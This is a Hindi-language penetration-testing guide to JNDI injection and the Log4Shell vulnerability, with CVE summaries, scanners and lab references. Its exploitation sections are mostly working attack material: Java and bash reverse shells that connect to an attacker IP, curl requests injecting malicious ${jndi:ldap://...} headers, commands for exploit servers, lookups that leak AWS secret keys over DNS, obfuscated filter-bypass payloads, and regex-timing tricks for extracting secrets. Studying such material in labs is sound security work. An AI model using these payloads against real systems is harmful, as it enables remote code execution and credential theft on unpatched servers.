JNDI - Java Naming and Directory Interface & Log4Shell

Reading time: 25 minutes

Basic Information

JNDI, 1990 के दशक के अंत से Java में एकीकृत, एक निर्देशिका सेवा के रूप में कार्य करता है, जो Java कार्यक्रमों को डेटा या वस्तुओं को नामकरण प्रणाली के माध्यम से खोजने में सक्षम बनाता है। यह सेवा प्रदाता इंटरफेस (SPIs) के माध्यम से विभिन्न निर्देशिका सेवाओं का समर्थन करता है, जो विभिन्न प्रणालियों से डेटा पुनर्प्राप्त करने की अनुमति देता है, जिसमें दूरस्थ Java वस्तुएं शामिल हैं। सामान्य SPIs में CORBA COS, Java RMI Registry, और LDAP शामिल हैं।

JNDI Naming Reference

Java वस्तुओं को JNDI Naming References का उपयोग करके संग्रहीत और पुनर्प्राप्त किया जा सकता है, जो दो रूपों में आते हैं:

• Reference Addresses: एक वस्तु के स्थान को निर्दिष्ट करता है (जैसे, rmi://server/ref), जो निर्दिष्ट पते से सीधे पुनर्प्राप्ति की अनुमति देता है।
• Remote Factory: एक दूरस्थ फैक्टरी वर्ग को संदर्भित करता है। जब इसे एक्सेस किया जाता है, तो वर्ग को दूरस्थ स्थान से डाउनलोड और इंस्टेंटिएट किया जाता है।

हालांकि, इस तंत्र का दुरुपयोग किया जा सकता है, जिससे मनमाने कोड को लोड और निष्पादित किया जा सकता है। एक प्रतिकूल उपाय के रूप में:

• RMI: java.rmi.server.useCodeabseOnly = true डिफ़ॉल्ट रूप से JDK 7u21 से, दूरस्थ वस्तु लोडिंग को प्रतिबंधित करता है। एक सुरक्षा प्रबंधक और भी सीमित करता है कि क्या लोड किया जा सकता है।
• LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false डिफ़ॉल्ट रूप से JDK 6u141, 7u131, 8u121 से, दूरस्थ रूप से लोड की गई Java वस्तुओं के निष्पादन को अवरुद्ध करता है। यदि इसे true पर सेट किया जाता है, तो सुरक्षा प्रबंधक की निगरानी के बिना दूरस्थ कोड निष्पादन संभव है।
• CORBA: इसका कोई विशिष्ट गुण नहीं है, लेकिन सुरक्षा प्रबंधक हमेशा सक्रिय रहता है।

हालांकि, Naming Manager, जो JNDI लिंक को हल करने के लिए जिम्मेदार है, में अंतर्निहित सुरक्षा तंत्र की कमी है, जिससे किसी भी स्रोत से वस्तुओं को पुनर्प्राप्त करने की अनुमति मिलती है। यह एक जोखिम प्रस्तुत करता है क्योंकि RMI, LDAP, और CORBA सुरक्षा उपायों को दरकिनार किया जा सकता है, जिससे मनमाने Java वस्तुओं को लोड करने या मौजूदा अनुप्रयोग घटकों (गैजेट्स) का दुरुपयोग करके दुर्भावनापूर्ण कोड चलाने की अनुमति मिलती है।

उदाहरण के लिए, दुरुपयोग योग्य URLs में शामिल हैं:

• rmi://attacker-server/bar
• ldap://attacker-server/bar
• iiop://attacker-server/bar

सुरक्षा उपायों के बावजूद, कमजोरियाँ बनी रहती हैं, मुख्यतः अविश्वसनीय स्रोतों से JNDI लोड करने के खिलाफ सुरक्षा की कमी और मौजूदा सुरक्षा उपायों को दरकिनार करने की संभावना के कारण।

JNDI Example

भले ही आपने PROVIDER_URL सेट किया हो, आप एक लुकअप में एक अलग URL निर्दिष्ट कर सकते हैं और इसे एक्सेस किया जाएगा: ctx.lookup("<attacker-controlled-url>") और यही एक हमलावर का दुरुपयोग होगा ताकि वह अपने द्वारा नियंत्रित प्रणाली से मनमाने वस्तुओं को लोड कर सके।

CORBA Overview

CORBA (Common Object Request Broker Architecture) एक Interoperable Object Reference (IOR) का उपयोग करता है ताकि दूरस्थ वस्तुओं की अद्वितीय पहचान की जा सके। यह संदर्भ आवश्यक जानकारी जैसे शामिल करता है:

• Type ID: एक इंटरफेस के लिए अद्वितीय पहचानकर्ता।
• Codebase: स्टब क्लास प्राप्त करने के लिए URL।

विशेष रूप से, CORBA स्वाभाविक रूप से कमजोर नहीं है। सुरक्षा सुनिश्चित करने के लिए आमतौर पर शामिल होता है:

• एक सुरक्षा प्रबंधक की स्थापना।
• सुरक्षा प्रबंधक को संभावित रूप से दुर्भावनापूर्ण कोडबेस से कनेक्शन की अनुमति देने के लिए कॉन्फ़िगर करना। यह निम्नलिखित के माध्यम से किया जा सकता है:
• सॉकेट अनुमति, जैसे, permissions java.net.SocketPermission "*:1098-1099", "connect";।
• फ़ाइल पढ़ने की अनुमति, या तो सार्वभौमिक रूप से (permission java.io.FilePermission "<<ALL FILES>>", "read";) या उन विशिष्ट निर्देशिकाओं के लिए जहां दुर्भावनापूर्ण फ़ाइलें रखी जा सकती हैं।

हालांकि, कुछ विक्रेता नीतियाँ लचीली हो सकती हैं और डिफ़ॉल्ट रूप से इन कनेक्शनों की अनुमति दे सकती हैं।

RMI Context

RMI (Remote Method Invocation) के लिए, स्थिति कुछ हद तक अलग है। CORBA की तरह, मनमाने क्लास डाउनलोडिंग डिफ़ॉल्ट रूप से प्रतिबंधित है। RMI का दुरुपयोग करने के लिए, किसी को आमतौर पर सुरक्षा प्रबंधक को दरकिनार करना होगा, जो CORBA में भी प्रासंगिक है।

LDAP

सबसे पहले, हमें एक खोज और एक लुकअप के बीच अंतर करना होगा।
एक खोज एक URL का उपयोग करेगी जैसे ldap://localhost:389/o=JNDITutorial JNDITutorial वस्तु को LDAP सर्वर से खोजने के लिए और इसके गुणों को पुनर्प्राप्त करने के लिए।
एक लुकअप नामकरण सेवाओं के लिए है क्योंकि हम जो कुछ भी एक नाम से बंधा है उसे प्राप्त करना चाहते हैं।

यदि LDAP खोज को SearchControls.setReturningObjFlag() के साथ true के साथ लागू किया गया था, तो लौटाई गई वस्तु को पुनर्निर्मित किया जाएगा।

इसलिए, इन विकल्पों पर हमला करने के कई तरीके हैं।
एक हमलावर LDAP रिकॉर्ड को ज़हर दे सकता है, उन पर पेलोड पेश करके जो उन प्रणालियों में निष्पादित होंगे जो उन्हें इकट्ठा करती हैं (यदि आपके पास LDAP सर्वर तक पहुंच है तो दर्जनों मशीनों को समझौता करने के लिए बहुत उपयोगी)। इस पर दुरुपयोग करने का एक और तरीका होगा LDAP खोज में एक MitM हमला करना उदाहरण के लिए।

यदि आप एक ऐप को JNDI LDAP URL हल करने के लिए बना सकते हैं, तो आप उस LDAP को नियंत्रित कर सकते हैं जो खोजा जाएगा, और आप दुरुपयोग वापस भेज सकते हैं (log4shell)।

Deserialization exploit

दुरुपयोग को अनुक्रमित किया गया है और इसे पुनः अनुक्रमित किया जाएगा।
यदि trustURLCodebase true है, तो एक हमलावर कोडबेस में अपनी कक्षाएँ प्रदान कर सकता है, यदि नहीं, तो उसे क्लासपाथ में गैजेट्स का दुरुपयोग करना होगा।

JNDI Reference exploit

इस LDAP पर JavaFactory संदर्भों का उपयोग करके हमला करना आसान है:

Log4Shell Vulnerability

यह कमजोरियाँ Log4j में पेश की गई है क्योंकि यह विशेष सिंटैक्स का समर्थन करती है जो ${prefix:name} के रूप में है जहाँ prefix विभिन्न Lookups में से एक है जहाँ name का मूल्यांकन किया जाना चाहिए। उदाहरण के लिए, ${java:version} वर्तमान में चल रही Java संस्करण है।

LOG4J2-313 ने jndi लुकअप सुविधा पेश की। यह सुविधा JNDI के माध्यम से चर पुनर्प्राप्त करने की अनुमति देती है। आमतौर पर, कुंजी को स्वचालित रूप से java:comp/env/ के साथ पूर्ववर्ती किया जाता है। हालाँकि, यदि कुंजी में स्वयं ":" शामिल है, तो यह डिफ़ॉल्ट पूर्ववर्ती लागू नहीं होता है।

कुंजी में : उपस्थित होने पर, जैसे ${jndi:ldap://example.com/a} में कोई पूर्ववर्ती नहीं है और LDAP सर्वर वस्तु के लिए क्वेरी की जाती है। और इन लुकअप का उपयोग Log4j के कॉन्फ़िगरेशन में और जब पंक्तियाँ लॉग की जाती हैं, दोनों में किया जा सकता है।

इसलिए, RCE प्राप्त करने के लिए केवल एक चीज़ की आवश्यकता है उपयोगकर्ता द्वारा नियंत्रित जानकारी को संसाधित करने वाले Log4j का कमजोर संस्करण। और क्योंकि यह एक पुस्तकालय है जो Java अनुप्रयोगों द्वारा जानकारी लॉग करने के लिए व्यापक रूप से उपयोग किया जाता है (इंटरनेट के सामने आने वाले अनुप्रयोगों सहित) यह बहुत सामान्य था कि log4j HTTP हेडर जैसे User-Agent को लॉग करता था। हालाँकि, log4j केवल HTTP जानकारी को लॉग करने के लिए नहीं बल्कि किसी भी इनपुट और डेटा को लॉग करने के लिए उपयोग किया जाता है जिसे डेवलपर ने निर्दिष्ट किया।

Overview of Log4Shell-Related CVEs

CVE-2021-44228 [Critical]

यह कमजोरियाँ log4j-core घटक में एक महत्वपूर्ण अविश्वसनीय अनुक्रमण दोष है, जो 2.0-beta9 से 2.14.1 तक के संस्करणों को प्रभावित करती है। यह दूरस्थ कोड निष्पादन (RCE) की अनुमति देती है, जिससे हमलावरों को सिस्टम पर नियंत्रण प्राप्त करने की अनुमति मिलती है। यह मुद्दा चेन झाओजुन द्वारा रिपोर्ट किया गया था जो Alibaba Cloud Security Team से हैं और विभिन्न Apache ढांचों को प्रभावित करता है। संस्करण 2.15.0 में प्रारंभिक सुधार अधूरा था। रक्षा के लिए Sigma नियम उपलब्ध हैं (Rule 1, Rule 2)।

CVE-2021-45046 [Critical]

शुरुआत में कम रेट किया गया लेकिन बाद में महत्वपूर्ण में अपग्रेड किया गया, यह CVE एक Denial of Service (DoS) दोष है जो CVE-2021-44228 के लिए 2.15.0 में अधूरे सुधार के परिणामस्वरूप है। यह गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन को प्रभावित करता है, जिससे हमलावरों को तैयार पेलोड के माध्यम से DoS हमले करने की अनुमति मिलती है। एक ट्वीट एक बायपास विधि को प्रदर्शित करता है। यह मुद्दा संस्करण 2.16.0 और 2.12.2 में संदेश लुकअप पैटर्न को हटाकर और डिफ़ॉल्ट रूप से JNDI को अक्षम करके हल किया गया है।

CVE-2021-4104 [High]

यह Log4j 1.x संस्करणों को प्रभावित करता है जो JMSAppender का उपयोग करते हैं, यह CVE एक अविश्वसनीय अनुक्रमण दोष है। 1.x शाखा के लिए कोई सुधार उपलब्ध नहीं है, जो समाप्त हो चुकी है, और log4j-core 2.17.0 में अपग्रेड करने की सिफारिश की जाती है।

CVE-2021-42550 [Moderate]

यह कमजोरियाँ Logback लॉगिंग ढांचे को प्रभावित करती है, जो Log4j 1.x का उत्तराधिकारी है। पहले इसे सुरक्षित माना गया था, लेकिन ढांचे को कमजोर पाया गया, और इस मुद्दे को हल करने के लिए नए संस्करण (1.3.0-alpha11 और 1.2.9) जारी किए गए हैं।

CVE-2021-45105 [High]

Log4j 2.16.0 में एक DoS दोष है, जिससे CVE को ठीक करने के लिए log4j 2.17.0 जारी किया गया। अधिक विवरण BleepingComputer की रिपोर्ट में हैं।

CVE-2021-44832

यह log4j संस्करण 2.17 को प्रभावित करता है, इस CVE के लिए हमलावर को log4j के कॉन्फ़िगरेशन फ़ाइल को नियंत्रित करने की आवश्यकता होती है। इसमें एक कॉन्फ़िगर किए गए JDBCAppender के माध्यम से संभावित मनमाने कोड निष्पादन शामिल है। अधिक विवरण Checkmarx ब्लॉग पोस्ट में उपलब्ध हैं।

Log4Shell Exploitation

Discovery

यह कमजोरियाँ बहुत आसानी से खोजी जा सकती है यदि यह असुरक्षित है क्योंकि यह आपके द्वारा निर्दिष्ट पेलोड के पते पर कम से कम एक DNS अनुरोध भेजेगी। इसलिए, पेलोड जैसे:

• ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (using canarytokens.com)
• ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (using interactsh)
• ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (using Burp Suite)
• ${jndi:ldap://2j4ayo.dnslog.cn} (using dnslog)
• ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} using (using huntress)

ध्यान दें कि यहां तक कि यदि एक DNS अनुरोध प्राप्त होता है, तो इसका मतलब यह नहीं है कि अनुप्रयोग दुरुपयोग योग्य है (या यहां तक कि कमजोर है), आपको इसे दुरुपयोग करने का प्रयास करना होगा।

Local Discovery

स्थानीय कमजोर संस्करणों की खोज करें:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

सत्यापन

कुछ प्लेटफार्म जो पहले सूचीबद्ध किए गए हैं, आपको कुछ परिवर्तनीय डेटा डालने की अनुमति देंगे जो जब अनुरोध किया जाएगा तो लॉग किया जाएगा।
यह 2 चीजों के लिए बहुत उपयोगी हो सकता है:

• कमजोरी की सत्यापन करना
• कमजोरी का दुरुपयोग करके जानकारी निकालना

उदाहरण के लिए, आप कुछ इस तरह का अनुरोध कर सकते हैं:
या जैसे ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} और यदि env वेरिएबल के मान के साथ DNS अनुरोध प्राप्त होता है, तो आप जानते हैं कि एप्लिकेशन कमजोर है।

अन्य जानकारी जिसे आप लीक करने की कोशिश कर सकते हैं:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE जानकारी

RCE - Marshalsec कस्टम पेलोड के साथ

आप इसे THM बॉक्स में परीक्षण कर सकते हैं: https://tryhackme.com/room/solar

उपकरण marshalsec का उपयोग करें (जार संस्करण यहाँ उपलब्ध है)। यह दृष्टिकोण एक LDAP संदर्भ सर्वर स्थापित करता है ताकि कनेक्शनों को एक द्वितीयक HTTP सर्वर पर पुनर्निर्देशित किया जा सके जहाँ शोषण होस्ट किया जाएगा:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

लक्ष्य को रिवर्स शेल कोड लोड करने के लिए प्रेरित करने के लिए, नीचे दिए गए सामग्री के साथ Exploit.java नामक एक जावा फ़ाइल तैयार करें:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Java फ़ाइल को क्लास फ़ाइल में संकलित करें: javac Exploit.java -source 8 -target 8। इसके बाद, क्लास फ़ाइल वाले निर्देशिका में एक HTTP सर्वर प्रारंभ करें: python3 -m http.server। सुनिश्चित करें कि marshalsec LDAP सर्वर इस HTTP सर्वर का संदर्भ देता है।

संवेदनशील वेब सर्वर पर एक्सप्लॉइट क्लास के निष्पादन को ट्रिगर करें, एक पेलोड भेजकर जो इस तरह दिखता है:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

नोट: यह एक्सप्लॉइट Java की कॉन्फ़िगरेशन पर निर्भर करता है जो LDAP के माध्यम से रिमोट कोडबेस लोडिंग की अनुमति देता है। यदि यह अनुमति नहीं है, तो मनमाने कोड निष्पादन के लिए एक विश्वसनीय क्लास का उपयोग करने पर विचार करें।

RCE - JNDIExploit

इस उदाहरण के लिए, आप बस इस log4shell के लिए कमजोर वेब सर्वर को पोर्ट 8080 पर चला सकते हैं: https://github.com/christophetd/log4shell-vulnerable-app (README में आपको इसे चलाने का तरीका मिलेगा)। यह कमजोर ऐप log4shell के एक कमजोर संस्करण के साथ HTTP अनुरोध हेडर X-Api-Version की सामग्री को लॉग कर रहा है।

फिर, आप JNDIExploit जार फ़ाइल डाउनलोड कर सकते हैं और इसे निष्पादित कर सकते हैं:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

कोड को पढ़ने के बाद केवल कुछ मिनटों में, com.feihong.ldap.LdapServer और com.feihong.ldap.HTTPServer में आप देख सकते हैं कि LDAP और HTTP सर्वर कैसे बनाए जाते हैं। LDAP सर्वर समझेगा कि कौन सा पेलोड सर्व किया जाना चाहिए और पीड़ित को HTTP सर्वर की ओर रीडायरेक्ट करेगा, जो एक्सप्लॉइट को सर्व करेगा।
कोम.feihong.ldap.gadgets में आप कुछ विशिष्ट गैजेट्स पा सकते हैं जो इच्छित क्रिया को निष्पादित करने के लिए उपयोग किए जा सकते हैं (संभावित रूप से मनमाना कोड निष्पादित करना)। और com.feihong.ldap.template में आप विभिन्न टेम्पलेट क्लासेस देख सकते हैं जो एक्सप्लॉइट्स उत्पन्न करेंगी।

आप सभी उपलब्ध एक्सप्लॉइट्स को java -jar JNDIExploit-1.2-SNAPSHOT.jar -u के साथ देख सकते हैं। कुछ उपयोगी हैं:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

तो, हमारे उदाहरण में, हमारे पास पहले से ही वह docker कमजोर ऐप चल रहा है। इसे हमले के लिए:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

जब आप हमले भेजते हैं, तो आप उस टर्मिनल में कुछ आउटपुट देखेंगे जहाँ आपने JNDIExploit-1.2-SNAPSHOT.jar चलाया था।

अन्य शोषण विकल्पों के लिए java -jar JNDIExploit-1.2-SNAPSHOT.jar -u की जांच करना न भूलें। इसके अलावा, यदि आपको इसकी आवश्यकता हो, तो आप LDAP और HTTP सर्वरों का पोर्ट बदल सकते हैं।

RCE - JNDI-Exploit-Kit

पिछले शोषण के समान, आप इस कमजोरियों का शोषण करने के लिए JNDI-Exploit-Kit का उपयोग करने की कोशिश कर सकते हैं।
आप पीड़ित को भेजने के लिए URLs उत्पन्न कर सकते हैं:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

यह हमला एक कस्टम जनरेटेड जावा ऑब्जेक्ट का उपयोग करके THM सोलर रूम जैसे लैब्स में काम करेगा। हालांकि, यह सामान्यतः काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को LDAP का उपयोग करके रिमोट कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है) मुझे लगता है क्योंकि यह मनमाने कोड को निष्पादित करने के लिए एक विश्वसनीय क्लास का दुरुपयोग नहीं कर रहा है।

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus काम करने योग्य JNDI लिंक उत्पन्न करने और RMI सर्वर, LDAP सर्वर और HTTP सर्वर शुरू करके बैकग्राउंड सेवाएँ प्रदान करने के लिए एक और उपकरण है।\

RCE - ysoserial & JNDI-Exploit-Kit

यह विकल्प वास्तव में जावा संस्करणों पर हमला करने के लिए उपयोगी है जो केवल निर्दिष्ट क्लासेस पर भरोसा करते हैं और सभी पर नहीं। इसलिए, ysoserial का उपयोग विश्वसनीय क्लासेस के सीरियलाइजेशन उत्पन्न करने के लिए किया जाएगा जो मनमाने कोड को निष्पादित करने के लिए गैजेट्स के रूप में उपयोग किया जा सकता है (ysoserial द्वारा दुरुपयोग की गई विश्वसनीय क्लास को शिकार जावा प्रोग्राम द्वारा उपयोग किया जाना चाहिए ताकि एक्सप्लॉइट काम कर सके)।

ysoserial या ysoserial-modified का उपयोग करके आप डेसिरियलाइजेशन एक्सप्लॉइट बना सकते हैं जो JNDI द्वारा डाउनलोड किया जाएगा:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

JNDI-Exploit-Kit का उपयोग करें ताकि JNDI लिंक उत्पन्न किए जा सकें जहाँ एक्सप्लॉइट कमजोर मशीनों से कनेक्शन की प्रतीक्षा करेगा। आप JNDI-Exploit-Kit द्वारा स्वचालित रूप से उत्पन्न किए गए विभिन्न एक्सप्लॉइट या यहां तक कि अपने स्वयं के डीसिरियलाइजेशन पेलोड (जो आपने या ysoserial द्वारा उत्पन्न किया है) को सर्व कर सकते हैं।

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके कमजोरियों का लाभ उठा सकते हैं और एक रिवर्स शेल प्राप्त कर सकते हैं, बस एक कमजोर संस्करण के log4j को भेजकर: ${ldap://10.10.14.10:1389/generated}

बायपास

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Automatic Scanners

• https://github.com/fullhunt/log4j-scan
• https://github.com/adilsoybali/Log4j-RCE-Scanner
• https://github.com/silentsignal/burp-log4shell
• https://github.com/cisagov/log4j-scanner
• https://github.com/Qualys/log4jscanwin
• https://github.com/hillu/local-log4j-vuln-scanner
• https://github.com/logpresso/CVE-2021-44228-Scanner
• https://github.com/palantir/log4j-sniffer - स्थानीय कमजोर पुस्तकालयों को खोजें

Labs to test

• LogForge HTB machine
• Try Hack Me Solar room
• https://github.com/leonjza/log4jpwn
• https://github.com/christophetd/log4shell-vulnerable-app

Post-Log4Shell Exploitation

इस CTF writeup में अच्छी तरह से समझाया गया है कि यह संभावित रूप से संभव है कि Log4J की कुछ विशेषताओं का दुरुपयोग किया जा सके।

Log4j के सुरक्षा पृष्ठ में कुछ दिलचस्प वाक्य हैं:

संस्करण 2.16.0 (Java 8 के लिए) से, संदेश लुकअप सुविधा को पूरी तरह से हटा दिया गया है। कॉन्फ़िगरेशन में लुकअप अभी भी काम करते हैं। इसके अलावा, Log4j अब डिफ़ॉल्ट रूप से JNDI तक पहुंच को अक्षम करता है। कॉन्फ़िगरेशन में JNDI लुकअप को अब स्पष्ट रूप से सक्षम करने की आवश्यकता है।

संस्करण 2.17.0 से, (और Java 7 और Java 6 के लिए 2.12.3 और 2.3.1), केवल कॉन्फ़िगरेशन में लुकअप स्ट्रिंग्स को पुनरावृत्त रूप से विस्तारित किया गया है; किसी अन्य उपयोग में, केवल शीर्ष-स्तरीय लुकअप को हल किया जाता है, और कोई भी नेस्टेड लुकअप हल नहीं होते हैं।

इसका मतलब है कि डिफ़ॉल्ट रूप से आप किसी भी jndi एक्सप्लॉइट का उपयोग करना भूल सकते हैं। इसके अलावा, पुनरावृत्त लुकअप करने के लिए आपको उन्हें कॉन्फ़िगर करना होगा।

उदाहरण के लिए, उस CTF में इसे log4j2.xml फ़ाइल में कॉन्फ़िगर किया गया था:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Env Lookups

इस CTF में हमलावर ने ${sys:cmd} के मान को नियंत्रित किया और एक पर्यावरण चर से ध्वज को निकालने की आवश्यकता थी।
जैसा कि इस पृष्ठ पर पिछले पेलोड्स में देखा गया है, env चर तक पहुँचने के लिए कुछ अलग तरीके हैं, जैसे: ${env:FLAG}। इस CTF में यह बेकार था लेकिन यह अन्य वास्तविक जीवन परिदृश्यों में बेकार नहीं हो सकता है।

Exfiltration in Exceptions

CTF में, आप java एप्लिकेशन के stderr तक पहुँच नहीं सकते थे जो log4J का उपयोग करता है, लेकिन Log4J अपवाद stdout पर भेजे जाते हैं, जो python ऐप में प्रिंट किए गए थे। इसका मतलब था कि एक अपवाद को ट्रिगर करके हम सामग्री तक पहुँच सकते थे। ध्वज को निकालने के लिए एक अपवाद था: ${java:${env:FLAG}}। यह काम करता है क्योंकि ${java:CTF{blahblah}} मौजूद नहीं है और ध्वज के मान के साथ एक अपवाद दिखाया जाएगा:

Conversion Patterns Exceptions

बस यह उल्लेख करने के लिए, आप नए conversion patterns भी इंजेक्ट कर सकते हैं और अपवाद ट्रिगर कर सकते हैं जो stdout पर लॉग किए जाएंगे। उदाहरण के लिए:

यह त्रुटि संदेश के अंदर डेटा निकालने के लिए उपयोगी नहीं पाया गया, क्योंकि लुकअप को रूपांतरण पैटर्न से पहले हल नहीं किया गया था, लेकिन यह अन्य चीजों के लिए जैसे पहचानने के लिए उपयोगी हो सकता है।

Conversion Patterns Regexes

हालांकि, कुछ conversion patterns जो regexes का समर्थन करते हैं का उपयोग करके लुकअप से जानकारी निकालना संभव है, regexes का उपयोग करके और binary search या time based व्यवहारों का दुरुपयोग करके।

• Binary search via exception messages

रूपांतरण पैटर्न %replace का उपयोग content को string से replace करने के लिए किया जा सकता है, यहां तक कि regexes का उपयोग करके। यह इस तरह काम करता है: replace{pattern}{regex}{substitution}
इस व्यवहार का दुरुपयोग करते हुए आप regex के मिलान होने पर एक अपवाद को ट्रिगर करने के लिए replace को बना सकते हैं (और यदि यह नहीं मिला तो कोई अपवाद नहीं) इस तरह:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception

• समय आधारित

जैसा कि पिछले अनुभाग में उल्लेख किया गया था, %replace regexes का समर्थन करता है। इसलिए यह संभव है कि यदि ध्वज पाया जाता है तो timeout उत्पन्न करने के लिए ReDoS पृष्ठ से payload का उपयोग किया जाए।
उदाहरण के लिए, एक payload जैसे %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} उस CTF में timeout उत्पन्न करेगा।

इस writeup में, ReDoS हमले का उपयोग करने के बजाय, प्रतिक्रिया में समय के अंतर को उत्पन्न करने के लिए एक amplification attack का उपयोग किया गया:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

यदि ध्वज flagGuess से शुरू होता है, तो पूरे ध्वज को 29 #-s के साथ बदल दिया जाता है (मैंने इस चरित्र का उपयोग किया क्योंकि यह संभवतः ध्वज का हिस्सा नहीं होगा)। परिणामी 29 #-s में से प्रत्येक को फिर 54 #-s से बदल दिया जाता है। यह प्रक्रिया 6 बार दोहराई जाती है, जिससे कुल 29*54*54^6* =`` ``96816014208 #-s!

इतने सारे #-s को बदलने से Flask एप्लिकेशन का 10-सेकंड timeout उत्पन्न होगा, जो बदले में उपयोगकर्ता को HTTP स्थिति कोड 500 भेजेगा। (यदि ध्वज flagGuess से शुरू नहीं होता है, तो हमें एक गैर-500 स्थिति कोड प्राप्त होगा)

संदर्भ

• https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
• https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
• https://www.youtube.com/watch?v=XG14EstTgQ4
• https://tryhackme.com/room/solar
• https://www.youtube.com/watch?v=Y8a5nB-vy78
• https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
• https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
• https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/